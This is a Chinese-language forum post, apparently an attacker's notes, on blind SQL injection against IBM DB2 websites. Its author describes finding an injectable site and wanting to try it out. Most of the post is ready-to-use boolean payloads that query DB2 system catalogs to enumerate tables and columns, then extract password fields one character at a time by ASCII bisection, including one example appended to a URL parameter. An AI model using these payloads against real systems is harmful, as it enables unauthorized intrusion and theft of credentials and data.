Sql Injection in DB2
使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。参考了IBM DB2的文档，总结了这样几条：
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER
可以返回系统中所有用户创建的表（table）名
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = ’’ and TBNAME=’’
返回表中的列名
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
这是最关键的地方，返回第一条记录，类似于sql server中的top 1
4、SUBSTR(string, position, length)
返回字符串子串的函数，类似于mid
5、ASCII()这个就不用多说了。
有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。
例如判断第一个table的名称的第一个字符的ascii码是否大于50：
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --
DB2数据库ASCII半折法注射方法
UNION方式暂没空研究，有空再折腾，项目里遇到DB2的数据库，网上没完整的资料，顺手整了这一份，第一条和第二条已在实际注射环境测试，其余各条在查询分析器中测试OK。
猜用户表数量：
and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)
猜表长度：
and 3<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)
猜表第一个字符ASCII码：
and 3<(SELECT ASCII(SUBSTR(NAME,1,1)) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)
猜表内列名数量：
and 1<(SELECT COUNT(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘)
猜第一个列名的长度
and 1<(SELECT LENGTH(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)
猜第一个列名第一个字符的ASCII码
and 1<(SELECT ASCII(SUBSTR(COLNAME,1,1)) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)
依ID排降序，猜第一个PASSWD的长度
and 0<(SELECT LENGTH(PASSWD) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)
依ID排降序，猜第一个PASSWD第一个字符的ASCII码
and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)
猜第二个PASSWD第一个字符的ASCII码
and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE where PASSWD not in(’grou1‘) fetch first 1 rows only)
页:
[1]